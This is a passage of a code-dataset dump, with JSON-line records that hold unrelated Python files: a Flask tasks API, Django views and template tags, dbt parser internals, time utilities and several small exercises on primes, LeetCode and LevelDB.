get_name_card()\n","sub_path":"day08/人人网.py","file_name":"人人网.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"102701724","text":"# -*- coding: utf-8 -*-\n'''\nClasses and Objects Notebook\n============================\n\nBig Idea: \n\n\nTopics Covered\n==============\n\n* Classes, objects.\n* Solutions to related LeetCode problems.\n\nCreated on Wed May 11 13:56:21 2022\n\n@author: vmgon\n'''\n\n#%% LeetCode 1603: Design Parkins System\n'''\nNotes:\n \n* Notice initiation using self.big = big. This sets the parameter for the\ninstance being initiated\n\n* In the method addCar, we use self.big to refer to the big attribute for that instance.\n\n'''\nclass ParkingSystem:\n\n def __init__(self, big: int, medium: int, small: int):\n self.big = big\n self.medium = medium\n self.small = small\n \n\n def addCar(self, carType: int) -> bool:\n if carType == 1:\n if self.big >= 1:\n self.big -= 1\n return True\n else: return False\n if carType == 2:\n if self.medium >= 1:\n self.medium -= 1\n return True\n else: return False\n if carType == 3:\n if self.small >= 1:\n self.small -= 1\n return True\n else: return False \n \n return False\n\n\n# Your ParkingSystem object will be instantiated and called as such:\n# obj = ParkingSystem(big, medium, small)\n# param_1 = obj.addCar(carType)","sub_path":"classes_and_objects.py","file_name":"classes_and_objects.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"478457549","text":"# -*- coding: utf-8 -*-\n# Author: HaiNT\nimport json\nfrom datetime import datetime\nfrom flask import Blueprint, jsonify, current_app, request\nfrom .. import exceptions\nfrom ..utils.decorators import consumes, use_args, require_perms\nfrom ..model.tasks import TasksModel\n\n\napi = Blueprint('api_tasks', __name__, url_prefix='/api/v1/tasks')\n\n\nTASK_SCHEMA = {\n 'getTasks': {\n 'type': 'object',\n 'properties': {\n 'task': {'type': 'string'},\n 'due_date': {'type': 'string'},\n 'completed': {'type': 'string'},\n 'priority': {'type': 'integer'},\n 'start_time': {'type': 'string'},\n 'finish_time': {'type': 'string'},\n 'fields': {'type': 'string'},\n 'skip': {'type': 'string'},\n 'limit': {'type': 'string'},\n 'sort_by': {'type': 'string'}\n }\n },\n 'createTask': {\n 'type': 'object',\n 'properties': {\n 'task': {'type': 'string'},\n 'due_date': {'type': 'integer'},\n 'priority': {'type': 'integer'}\n },\n 'required': ['task', 'due_date', 'priority']\n },\n 'patchTask': {\n 'type': 'object',\n 'properties': {\n 'id': {'type': 'string'},\n 'task': {'type': 'string'},\n 'due_date': {'type': 'integer'},\n 'priority': {'type': 'integer'},\n 'completed': {'type': 'boolean'}\n },\n 'required': ['id']\n },\n 'deleteTask': {\n 'type': 'object',\n 'properties': {\n 'id': {'type': 'string'}\n },\n 'required': ['id']\n }\n}\nPERM_MANAGE_TASKS = current_app.config['PERM_MANAGE_TASKS'][0]\n\n\n@api.route('', methods=['GET'])\n@use_args(**TASK_SCHEMA['getTasks'])\n@require_perms(PERM_MANAGE_TASKS)\ndef get_tasks(args):\n # Searching\n query = {'creator': args['actor']}\n\n if 'start_time' in args and 'finish_time' in args:\n try:\n start_time = datetime.fromtimestamp(int(args['start_time']))\n except:\n raise exceptions.BadRequest(2002, 'start_time')\n try:\n finish_time = datetime.fromtimestamp(int(args['finish_time']))\n except:\n raise exceptions.BadRequest(2002, 'finish_time')\n if start_time > finish_time:\n raise exceptions.BadRequest(2100)\n query['due_date__gte'] = start_time\n query['due_date__lte'] = finish_time\n\n # Limiting fields\n if 'fields' in args and args['fields']:\n fields = {field.lower(): 1 for field in args['fields'].split()}\n else:\n fields = {'creator': 0}\n\n # Skipping results\n if 'skip' in args:\n try:\n skip = int(args['skip'])\n except:\n raise exceptions.BadRequest(2002, 'skip')\n else:\n skip = None\n\n # Limiting results\n if 'limit' in args:\n try:\n limit = int(args['limit'])\n except:\n raise exceptions.BadRequest(2002, 'limit')\n else:\n limit = None\n\n # Sorting results\n if 'sort_by' in args:\n sort_by = args['sort_by']\n else:\n sort_by = None\n\n count, all_objects = TasksModel.find_all(fields=fields, skip=skip, limit=limit, sort_by=sort_by, **query)\n tasks = []\n for obj in all_objects:\n task = {k: v for k, v in json.loads(obj.to_json()).items() if k != '_id'}\n if 'fields' not in args or not args['fields'] or 'id' in fields:\n task['id'] = str(obj.id)\n if 'fields' not in args or not args['fields'] or 'due_date' in fields:\n task['due_date'] = obj.due_date.timestamp()\n tasks.append(task)\n return jsonify(tasks=tasks, count=count)\n\n\n@api.route('/create', methods=['POST'])\n@consumes('application/json')\n@use_args(**TASK_SCHEMA['createTask'])\n@require_perms(PERM_MANAGE_TASKS)\ndef create_task(args):\n try:\n due_date = datetime.fromtimestamp(args['due_date'])\n except:\n raise exceptions.BadRequest(2002, 'due_date')\n task = TasksModel(\n task=args['task'],\n completed=False,\n priority=args['priority'],\n due_date=due_date,\n creator=args['actor']\n )\n task.save()\n return '', 200\n\n\n@api.route('/patch', methods=['PATCH'])\n@consumes('application/json')\n@use_args(**TASK_SCHEMA['patchTask'])\n@require_perms(PERM_MANAGE_TASKS)\ndef patch_task(args):\n if TasksModel.has_document(id=args['id']) is False:\n raise exceptions.NotFound(5100, args['id'])\n\n if TasksModel.has_document(id=args['id'], creator=args['actor']) is False:\n raise exceptions.Forbidden(4100)\n\n if 'task' in args and not args['task']:\n raise exceptions.BadRequest(2001, 'task')\n\n if 'due_date' in args:\n try:\n args['due_date'] = datetime.fromtimestamp(args['due_date'])\n except:\n raise exceptions.BadRequest(2002, 'due_date')\n\n document = {k: v for k, v in args.items() if k in ('task', 'due_date', 'priority', 'completed')}\n if document:\n TasksModel.update_one(document=document, id=args['id'])\n return '', 200\n\n\n@api.route('/delete', methods=['DELETE'])\n@consumes('application/json')\n@use_args(**TASK_SCHEMA['deleteTask'])\n@require_perms(PERM_MANAGE_TASKS)\ndef delete_task(args):\n if TasksModel.has_document(id=args['id']) is False:\n raise exceptions.NotFound(5100, args['id'])\n\n if TasksModel.has_document(id=args['id'], creator=args['actor']) is False:\n raise exceptions.Forbidden(4101)\n\n TasksModel.delete_one(id=args['id'])\n return '', 200\n","sub_path":"todo-list/backend/app/api/api_tasks.py","file_name":"api_tasks.py","file_ext":"py","file_size_in_byte":5521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"254416157","text":"\n\n#calss header\nclass _SCHMOOZE():\n\tdef __init__(self,): \n\t\tself.name = \"SCHMOOZE\"\n\t\tself.definitions = [u'to talk informally with someone, especially in a way that is not sincere or to win some advantage for yourself: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_schmooze.py","file_name":"_schmooze.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"513527000","text":"from django import template\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.auth.models import User\nfrom ..models import LikeCount, LikeRecord\n\nregister = template.Library()\n\n@register.simple_tag\ndef get_like_count(obj):\n content_type = ContentType.objects.get_for_model(obj)\n likeCount, created = LikeCount.objects.get_or_create(content_type=content_type, object_id=obj.id)\n return likeCount.liked_num\n\n@register.simple_tag(takes_context=True)\ndef get_like_status(context, obj):\n request = context['request']\n if 'HTTP_X_FORWARDED_FOR' in request.META:\n from_ip = request.META['HTTP_X_FORWARDED_FOR']\n else:\n from_ip = request.META['REMOTE_ADDR']\n content_type = ContentType.objects.get_for_model(obj)\n\n user=context['user']\n if not user.is_authenticated:\n user = User.objects.get_by_natural_key(username='who_am_i')\n if LikeRecord.objects.filter(content_type=content_type, object_id=obj.id, user=user, from_ip=from_ip).exists():\n return 'active'\n return ''\n\n\n\n","sub_path":"likes/templatetags/like_tags.py","file_name":"like_tags.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"445936673","text":"from rest_framework.parsers import JSONParser\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom django.http.response import JsonResponse\nfrom cocinaapp.db_models.category import Category\nfrom cocinaapp.db_serializers.category_serializer import CategorySerializer\nfrom cocinaapp.db_helpers.category_helpers import check_repeated_category\n\n\n@api_view(['GET', 'POST'])\ndef category_list(request):\n \"\"\"Returns all the categories.\"\"\"\n # categories/\n\n if request.method == 'GET':\n categories = Category.objects.all().order_by('name')\n categories_serializer = CategorySerializer(categories, many=True)\n data = categories_serializer.data\n lista = []\n for element in data:\n lista.append(\n {\n \"label\": element[\"name\"],\n \"value\": element[\"id\"],\n \"color\": element[\"color\"]\n }\n )\n return JsonResponse(lista, safe=False, status=status.HTTP_200_OK)\n\n elif request.method == 'POST':\n category_data = JSONParser().parse(request)\n category_serializer = CategorySerializer(data=category_data)\n if category_serializer.is_valid():\n if check_repeated_category(category_data[\"name\"]):\n category = category_serializer.save()\n category.name = category.name.capitalize()\n category.save()\n return JsonResponse(category_serializer.data, status=status.HTTP_201_CREATED)\n return JsonResponse({\"error\": \"repeated category\"}, status=status.HTTP_400_BAD_REQUEST)\n return JsonResponse(category_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET', 'PUT'])\ndef category_one(request, pk):\n \"\"\"Work with one category.\"\"\"\n # category//\n\n try:\n category = Category.objects.get(pk=pk)\n except Category.DoesNotExist:\n return JsonResponse({\"error\": \"The category does not exist\"}, status=status.HTTP_400_BAD_REQUEST)\n\n if request.method == 'GET':\n category_serializer = CategorySerializer(category)\n return JsonResponse(category_serializer.data, status=status.HTTP_200_OK)\n\n elif request.method == 'PUT':\n category_data = JSONParser().parse(request)\n category_serializer = CategorySerializer(category, data=category_data)\n if category_serializer.is_valid():\n category = category_serializer.save()\n category.name = category.name.capitalize()\n category.save()\n return JsonResponse(category_serializer.data, safe=False, status=status.HTTP_201_CREATED)\n return JsonResponse(category_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n elif request.method == 'DELETE':\n pass\n","sub_path":"cocinaapp/db_views/category_view.py","file_name":"category_view.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"647376282","text":"import abc\nimport os\nfrom typing import (\n List, Dict, Any, Callable, Iterable, Optional, Generic, TypeVar\n)\n\nfrom hologram import ValidationError\n\nimport dbt.context.parser\nimport dbt.flags\nfrom dbt import deprecations\nfrom dbt import hooks\nfrom dbt.clients.jinja import get_rendered\nfrom dbt.config import Project, RuntimeConfig\nfrom dbt.contracts.graph.manifest import (\n Manifest, SourceFile, FilePath, FileHash\n)\nfrom dbt.contracts.graph.parsed import HasUniqueID\nfrom dbt.contracts.graph.unparsed import UnparsedNode\nfrom dbt.exceptions import (\n CompilationException, validator_error_message\n)\nfrom dbt.include.global_project import PROJECT_NAME as GLOBAL_PROJECT_NAME\nfrom dbt.node_types import NodeType\nfrom dbt.source_config import SourceConfig\nfrom dbt.parser.results import ParseResult, ManifestNodes\nfrom dbt.parser.search import FileBlock\nfrom dbt.clients.system import load_file_contents\n\n# internally, the parser may store a less-restrictive type that will be\n# transformed into the final type. But it will have to be derived from\n# ParsedNode to be operable.\nFinalValue = TypeVar('FinalValue', bound=HasUniqueID)\nIntermediateValue = TypeVar('IntermediateValue', bound=HasUniqueID)\n\nIntermediateNode = TypeVar('IntermediateNode', bound=Any)\nFinalNode = TypeVar('FinalNode', bound=ManifestNodes)\n\n\nRelationUpdate = Callable[[Optional[str], IntermediateNode], str]\nConfiguredBlockType = TypeVar('ConfiguredBlockType', bound=FileBlock)\n\n\nclass BaseParser(Generic[FinalValue]):\n def __init__(self, results: ParseResult, project: Project) -> None:\n self.results = results\n self.project = project\n # this should be a superset of [x.path for x in self.results.files]\n # because we fill it via search()\n self.searched: List[FilePath] = []\n\n @abc.abstractmethod\n def get_paths(self) -> Iterable[FilePath]:\n pass\n\n def search(self) -> List[FilePath]:\n self.searched = list(self.get_paths())\n return self.searched\n\n @abc.abstractmethod\n def parse_file(self, block: FileBlock) -> None:\n pass\n\n @abc.abstractproperty\n def resource_type(self) -> NodeType:\n pass\n\n def generate_unique_id(self, resource_name: str) -> str:\n \"\"\"Returns a unique identifier for a resource\"\"\"\n return \"{}.{}.{}\".format(self.resource_type,\n self.project.project_name,\n resource_name)\n\n def load_file(self, path: FilePath) -> SourceFile:\n file_contents = load_file_contents(path.absolute_path, strip=False)\n checksum = FileHash.from_contents(file_contents)\n source_file = SourceFile(path=path, checksum=checksum)\n source_file.contents = file_contents.strip()\n return source_file\n\n def parse_file_from_path(self, path: FilePath):\n block = FileBlock(file=self.load_file(path))\n self.parse_file(block)\n\n\nclass Parser(BaseParser[FinalValue], Generic[FinalValue]):\n def __init__(\n self,\n results: ParseResult,\n project: Project,\n root_project: RuntimeConfig,\n macro_manifest: Manifest,\n ) -> None:\n super().__init__(results, project)\n self.root_project = root_project\n self.macro_manifest = macro_manifest\n\n\nclass ConfiguredParser(\n Parser[FinalNode],\n Generic[ConfiguredBlockType, IntermediateNode, FinalNode],\n):\n def __init__(\n self,\n results: ParseResult,\n project: Project,\n root_project: RuntimeConfig,\n macro_manifest: Manifest,\n ) -> None:\n super().__init__(results, project, root_project, macro_manifest)\n self._get_schema_func: Optional[RelationUpdate] = None\n self._get_alias_func: Optional[RelationUpdate] = None\n\n @abc.abstractclassmethod\n def get_compiled_path(cls, block: ConfiguredBlockType) -> str:\n pass\n\n @abc.abstractmethod\n def parse_from_dict(self, dict, validate=True) -> IntermediateNode:\n pass\n\n @abc.abstractproperty\n def resource_type(self) -> NodeType:\n pass\n\n @property\n def default_schema(self):\n return self.root_project.credentials.schema\n\n @property\n def default_database(self):\n return self.root_project.credentials.database\n\n def get_schema_func(self) -> RelationUpdate:\n \"\"\"The get_schema function is set by a few different things:\n - if there is a 'generate_schema_name' macro in the root project,\n it will be used.\n - if that does not exist but there is a 'generate_schema_name'\n macro in the 'dbt' internal project, that will be used\n - if neither of those exist (unit tests?), a function that returns\n the 'default schema' as set in the root project's 'credentials'\n is used\n \"\"\"\n if self._get_schema_func is not None:\n return self._get_schema_func\n\n get_schema_macro = self.macro_manifest.find_macro_by_name(\n 'generate_schema_name',\n self.root_project.project_name\n )\n if get_schema_macro is None:\n get_schema_macro = self.macro_manifest.find_macro_by_name(\n 'generate_schema_name',\n GLOBAL_PROJECT_NAME\n )\n # this is only true in tests!\n if get_schema_macro is None:\n def get_schema(custom_schema_name=None, node=None):\n return self.default_schema\n else:\n root_context = dbt.context.parser.generate_macro(\n get_schema_macro, self.root_project,\n self.macro_manifest\n )\n get_schema = get_schema_macro.generator(root_context)\n\n self._get_schema_func = get_schema\n return self._get_schema_func\n\n def get_alias_func(self) -> RelationUpdate:\n \"\"\"The get_alias function is set by a few different things:\n - if there is a 'generate_alias_name' macro in the root project,\n it will be used.\n - if that does not exist but there is a 'generate_alias_name'\n macro in the 'dbt' internal project, that will be used\n - if neither of those exist (unit tests?), a function that returns\n the 'default alias' as set in the model's filename or alias\n configuration.\n \"\"\"\n if self._get_alias_func is not None:\n return self._get_alias_func\n\n get_alias_macro = self.macro_manifest.find_macro_by_name(\n 'generate_alias_name',\n self.root_project.project_name\n )\n if get_alias_macro is None:\n get_alias_macro = self.macro_manifest.find_macro_by_name(\n 'generate_alias_name',\n GLOBAL_PROJECT_NAME\n )\n\n # the generate_alias_name macro might not exist\n if get_alias_macro is None:\n def get_alias(custom_alias_name, node):\n if custom_alias_name is None:\n return node.name\n else:\n return custom_alias_name\n else:\n root_context = dbt.context.parser.generate_macro(\n get_alias_macro, self.root_project,\n self.macro_manifest\n )\n get_alias = get_alias_macro.generator(root_context)\n\n self._get_alias_func = get_alias\n return self._get_alias_func\n\n def get_fqn(self, path: str, name: str) -> List[str]:\n \"\"\"Get the FQN for the node. This impacts node selection and config\n application.\n \"\"\"\n no_ext = os.path.splitext(path)[0]\n fqn = [self.project.project_name]\n fqn.extend(dbt.utils.split_path(no_ext)[:-1])\n fqn.append(name)\n return fqn\n\n def _mangle_hooks(self, config):\n \"\"\"Given a config dict that may have `pre-hook`/`post-hook` keys,\n convert it from the yucky maybe-a-string, maybe-a-dict to a dict.\n \"\"\"\n # Like most of parsing, this is a horrible hack :(\n for key in hooks.ModelHookType:\n if key in config:\n config[key] = [hooks.get_hook_dict(h) for h in config[key]]\n\n def _create_error_node(\n self, name: str, path: str, original_file_path: str, raw_sql: str,\n ) -> UnparsedNode:\n \"\"\"If we hit an error before we've actually parsed a node, provide some\n level of useful information by attaching this to the exception.\n \"\"\"\n # this is a bit silly, but build an UnparsedNode just for error\n # message reasons\n return UnparsedNode(\n name=name,\n resource_type=self.resource_type,\n path=path,\n original_file_path=original_file_path,\n root_path=self.project.project_root,\n package_name=self.project.project_name,\n raw_sql=raw_sql,\n )\n\n def _create_parsetime_node(\n self,\n block: ConfiguredBlockType,\n path: str,\n config: SourceConfig,\n name=None,\n **kwargs,\n ) -> IntermediateNode:\n \"\"\"Create the node that will be passed in to the parser context for\n \"rendering\". Some information may be partial, as it'll be updated by\n config() and any ref()/source() calls discovered during rendering.\n \"\"\"\n if name is None:\n name = block.name\n dct = {\n 'alias': name,\n 'schema': self.default_schema,\n 'database': self.default_database,\n 'fqn': config.fqn,\n 'name': name,\n 'root_path': self.project.project_root,\n 'resource_type': self.resource_type,\n 'path': path,\n 'original_file_path': block.path.original_file_path,\n 'package_name': self.project.project_name,\n 'raw_sql': block.contents,\n 'unique_id': self.generate_unique_id(name),\n 'config': self.config_dict(config),\n }\n dct.update(kwargs)\n try:\n return self.parse_from_dict(dct)\n except ValidationError as exc:\n msg = validator_error_message(exc)\n # this is a bit silly, but build an UnparsedNode just for error\n # message reasons\n node = self._create_error_node(\n name=block.name,\n path=path,\n original_file_path=block.path.original_file_path,\n raw_sql=block.contents,\n )\n raise CompilationException(msg, node=node)\n\n def render_with_context(\n self, parsed_node: IntermediateNode, config: SourceConfig\n ) -> None:\n \"\"\"Given the parsed node and a SourceConfig to use during parsing,\n render the node's sql wtih macro capture enabled.\n\n Note: this mutates the config object when config() calls are rendered.\n \"\"\"\n context = dbt.context.parser.generate(\n parsed_node, self.root_project, self.macro_manifest, config\n )\n\n get_rendered(parsed_node.raw_sql, context, parsed_node,\n capture_macros=True)\n\n def update_parsed_node_schema(\n self, parsed_node: IntermediateNode, config_dict: Dict[str, Any]\n ) -> None:\n # Special macro defined in the global project. Use the root project's\n # definition, not the current package\n schema_override = config_dict.get('schema')\n get_schema = self.get_schema_func()\n try:\n schema = get_schema(schema_override, parsed_node)\n except dbt.exceptions.CompilationException as exc:\n too_many_args = (\n \"macro 'dbt_macro__generate_schema_name' takes not more than \"\n \"1 argument(s)\"\n )\n if too_many_args not in str(exc):\n raise\n deprecations.warn('generate-schema-name-single-arg')\n schema = get_schema(schema_override) # type: ignore\n parsed_node.schema = schema.strip()\n\n def update_parsed_node_alias(\n self, parsed_node: IntermediateNode, config_dict: Dict[str, Any]\n ) -> None:\n alias_override = config_dict.get('alias')\n get_alias = self.get_alias_func()\n parsed_node.alias = get_alias(alias_override, parsed_node).strip()\n\n def update_parsed_node_config(\n self, parsed_node: IntermediateNode, config_dict: Dict[str, Any]\n ) -> None:\n # Overwrite node config\n final_config_dict = parsed_node.config.to_dict()\n final_config_dict.update(config_dict)\n # re-mangle hooks, in case we got new ones\n self._mangle_hooks(final_config_dict)\n parsed_node.config = parsed_node.config.from_dict(final_config_dict)\n\n def update_parsed_node(\n self, parsed_node: IntermediateNode, config: SourceConfig\n ) -> None:\n \"\"\"Given the SourceConfig used for parsing and the parsed node,\n generate and set the true values to use, overriding the temporary parse\n values set in _build_intermediate_parsed_node.\n \"\"\"\n config_dict = config.config\n\n # Set tags on node provided in config blocks\n model_tags = config_dict.get('tags', [])\n parsed_node.tags.extend(model_tags)\n\n # do this once before we parse the node schema/alias, so\n # parsed_node.config is what it would be if they did nothing\n self.update_parsed_node_config(parsed_node, config_dict)\n\n parsed_node.database = config_dict.get(\n 'database', self.default_database\n ).strip()\n self.update_parsed_node_schema(parsed_node, config_dict)\n self.update_parsed_node_alias(parsed_node, config_dict)\n\n def initial_config(self, fqn: List[str]) -> SourceConfig:\n return SourceConfig(self.root_project, self.project, fqn,\n self.resource_type)\n\n def config_dict(self, config: SourceConfig) -> Dict[str, Any]:\n config_dict = config.config\n self._mangle_hooks(config_dict)\n return config_dict\n\n def render_update(\n self, node: IntermediateNode, config: SourceConfig\n ) -> None:\n try:\n self.render_with_context(node, config)\n self.update_parsed_node(node, config)\n except ValidationError as exc:\n # we got a ValidationError - probably bad types in config()\n msg = validator_error_message(exc)\n raise CompilationException(msg, node=node) from exc\n\n def add_result_node(self, block: FileBlock, node: ManifestNodes):\n if node.config.enabled:\n self.results.add_node(block.file, node)\n else:\n self.results.add_disabled(block.file, node)\n\n def parse_node(self, block: ConfiguredBlockType) -> FinalNode:\n compiled_path: str = self.get_compiled_path(block)\n fqn = self.get_fqn(compiled_path, block.name)\n\n config: SourceConfig = self.initial_config(fqn)\n\n node = self._create_parsetime_node(\n block=block,\n path=compiled_path,\n config=config\n )\n self.render_update(node, config)\n result = self.transform(node)\n self.add_result_node(block, result)\n return result\n\n @abc.abstractmethod\n def parse_file(self, file_block: FileBlock) -> None:\n pass\n\n @abc.abstractmethod\n def transform(self, node: IntermediateNode) -> FinalNode:\n pass\n\n\nclass SimpleParser(\n ConfiguredParser[ConfiguredBlockType, FinalNode, FinalNode],\n Generic[ConfiguredBlockType, FinalNode]\n):\n def transform(self, node):\n return node\n\n\nclass SQLParser(\n ConfiguredParser[FileBlock, IntermediateNode, FinalNode],\n Generic[IntermediateNode, FinalNode]\n):\n def parse_file(self, file_block: FileBlock) -> None:\n self.parse_node(file_block)\n\n\nclass SimpleSQLParser(\n SQLParser[FinalNode, FinalNode]\n):\n def transform(self, node):\n return node\n","sub_path":"core/dbt/parser/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":15864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"639658181","text":"from datetime import timedelta\nimport datetime\nimport functools\n\nimport pytz\n\ndef utcnow():\n \"\"\"\n 脱离django也能使用的 utcnow,需要 pip install pytz\n \"\"\"\n return datetime.datetime.utcnow().replace(tzinfo=pytz.utc)\n\nDURATION_WEEK = timedelta(weeks=1)\nDURATION_DAY = DURATION_DAY_1 = timedelta(days=1)\nDURATION_HOUR = timedelta(hours=1)\nDURATION_MINUTE = timedelta(minutes=1)\nDURATION_SECOND = timedelta(seconds=1)\nDURATION_MICROSECOND = timedelta(microseconds=1)\nDURATION_ZERO = timedelta()\n\nUNSET = object()\nclass Deadline(object):\n \"\"\"\n 带有效期的 value class\n \"\"\"\n def __init__(self, *args, **kwargs):\n self.default = kwargs.pop('default', None)\n self.update(*args, **kwargs)\n\n def update(self, value=UNSET, deadline=None, fromtime=None, **kwargs):\n \"\"\"\n 如果 value 是函数,需要指定 duration; 否则 需要 deadline\n \"\"\"\n if callable(value):\n self._get_value = value\n self.duration = kwargs.get('duration', deadline)\n self._value = UNSET\n self.deadline = UNSET\n return \n self._get_value = None\n self._value = value\n if value is UNSET:\n self.deadline = UNSET\n elif deadline:\n self.deadline = deadline\n else:\n self.deadline = (fromtime or utcnow()) + timedelta(**kwargs)\n\n def produce(self):\n # 如果指定了 get_value 函数,调用获取 value 并更新 deadline\n if self._get_value:\n self._value = self._get_value()\n self.deadline = utcnow() + self.duration\n return True\n return False\n\n def valid(self, currtime=None):\n # 如果失效,尝试生成 value,不能才返回 失败\n if self._value is UNSET or not self.deadline or self.deadline is UNSET:\n return self.produce()\n return (currtime or utcnow()) < self.deadline or self.produce()\n\n @property\n def value(self):\n if self.valid():\n return self._value\n return self.default\n\ndef change_date_months(date=None, months=0, direction='+'):\n \"\"\"\n 指定日期 前推/后推 月数,可用于:生日计算\n \"\"\"\n if not date:\n date = utcnow().date()\n y, m, d = date.year, date.month, date.day\n #\n months = abs(months)\n remain = months % 12\n if direction == '+':\n y += months // 12\n m += remain\n else:\n y -= months // 12\n m -= remain\n #\n if m <= 0:\n y -= 1\n m += 12\n elif m > 12:\n y += 1\n m -= 12\n #\n if m in [1,3,5,7,8,10,12]:\n maxd = 31\n elif m in [4,6,9,11]:\n maxd = 30\n elif y % 4:\n maxd = 28\n elif y % 100:\n maxd = 29\n elif y % 400:\n maxd = 28\n else:\n maxd = 29\n if d > maxd:\n d = maxd\n #\n return datetime.date(y, m, d)\n\ndecr_date_months = functools.partial(change_date_months, direction='-')\nincr_date_months = functools.partial(change_date_months, direction='+')\n","sub_path":"qutils/qutils/time.py","file_name":"time.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"398196364","text":"import cmdtools\nimport inspect\nimport asyncio\n\n# error handler callback needs to be a coroutine as well as the command callback\nasync def eping(error):\n\tprint(error)\n\nasync def ping():\n\tprint(\"Pinging...\")\n\tawait asyncio.sleep(1)\n\tprint(\"Pong!\")\n\ncmd = cmdtools.Cmd(\"/ping\")\n\nif cmd.name == \"ping\":\n\t# check if callback is a coroutine function\n\tif inspect.iscoroutinefunction(ping):\n\t\tasyncio.run(cmd.aio_process_cmd(ping))\n","sub_path":"examples/04asynchronous_callbacks/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"18937055","text":"######################################################################################\n## File name: sort_primes_into_gap_classes ##\n## ##\n## File purpose: To access Prime_File.txt and sort the primes into appropriate ##\n## classes. The primes will then be written to the appropriate gap files. ##\n## ##\n## File reusability: Use anytime we wish to sort the primes into gap classes ##\n## ##\n## File date created: 9/18/13 ##\n## ##\n## File author: Tony Morse ##\n######################################################################################\n\n# Library for directory changes\nimport os\n# Library for getting the date and time\nimport datetime\n\n# Open Main Prime_List File\nrel_path = \"../Files/Main_File\"\nprime_file_name = \"prime_list.txt\"\npath = os.path.join(rel_path , prime_file_name)\nprime_file_read = open(path,'r')\n\n# Initialize set\ngap_classes = set()\n\n# Number of lines in the file\nnum_lines = prime_file_read.readlines()\n\n# Iterate through, adding new gap classes as they appear\nfor i in range(0,(len(num_lines) - 1)):\n\tnext_prime = num_lines[i + 1]\n\tprime = num_lines[i]\n\tgap = long(long(next_prime) - long(prime))\n\tgap_classes.add(gap)\n\n\n# Close the file\nprime_file_read.close()\n\n# Get the current time\ndate = datetime.datetime.now()\n\n# Create the file that will be written to\ngap_rel_path = \"../Files/Gap_Files\"\ngap_file_name = \"gaps_we_have.txt\"\ngap_path = os.path.join(gap_rel_path , gap_file_name)\n\n# Open file and write to it\n","sub_path":"Appending_Scripts/sort_primes_into_gap_classes.py","file_name":"sort_primes_into_gap_classes.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"455603672","text":"\n\n#calss header\nclass _SURPLUS():\n\tdef __init__(self,): \n\t\tself.name = \"SURPLUS\"\n\t\tself.definitions = [u'(an amount that is) more than is needed: ', u'the amount of money you have left when you sell more than you buy, or spend less than you own: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_surplus.py","file_name":"_surplus.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"35688551","text":"#!/usr/bin/env python\n# coding: utf-8\n\n#!pwd /Users/shihosato/src/github.com/twinkle13531/master_degree/202011/scripts/functions/make_datasets\n# from make_datasets import ost_datasets\nimport pandas as pd\nimport numpy as np\n\n\ndef make_ost46(ost):\n ost46 = pd.DataFrame(columns=ost.columns[:-1])\n for i in range(ost.shape[0]):\n for _ in range(ost.iloc[i, -1]):\n ost46 = ost46.append(ost.iloc[i, :-1])\n ost46 = ost46.reset_index(drop=True)\n return ost46.to_csv('../input/ost46.csv', index=False)\n\ndef make_ost_num_df(num_sample, version_num):\n ost46 = pd.read_csv('../input/ost46.csv')\n ost_num = ost46.sample(num_sample, axis=0)\n ost_num.reset_index(drop=True, inplace=True)\n path = '../input/ost{}_{}.csv'.format(num_sample, version_num)\n return ost_num.to_csv(path, index=False)\n\n","sub_path":"202012_ongoing/Preparation/ost_datasets.py","file_name":"ost_datasets.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"580685714","text":"import json\nimport gzip\nimport plyvel\nimport pickle\n\ndef make_name_tags_DB(data_js_path):\n with gzip.open(data_js_path, 'r') as data_js:\n name_tags_db = plyvel.DB('result/knock63_result.ldb', create_if_missing=True)\n for line in data_js:\n data_dict = json.loads(line.decode('utf-8'))\n if set(['name', 'tags']).issubset(set(data_dict.keys())):\n name_tags_db.put(data_dict['name'].encode('utf-8'), pickle.dumps(data_dict['tags']))\n name_tags_db.close()\n\ndef load_make_tags_DB(data_ldb_path, data_out_path):\n with open(data_out_path, 'w') as data_out:\n name_tags_db = plyvel.DB(data_ldb_path, create_if_missing=True)\n for key, tags_serialized in name_tags_db:\n tags_dict = pickle.loads(tags_serialized)\n print(key, file=data_out)\n print(tags_dict, file=data_out)\n 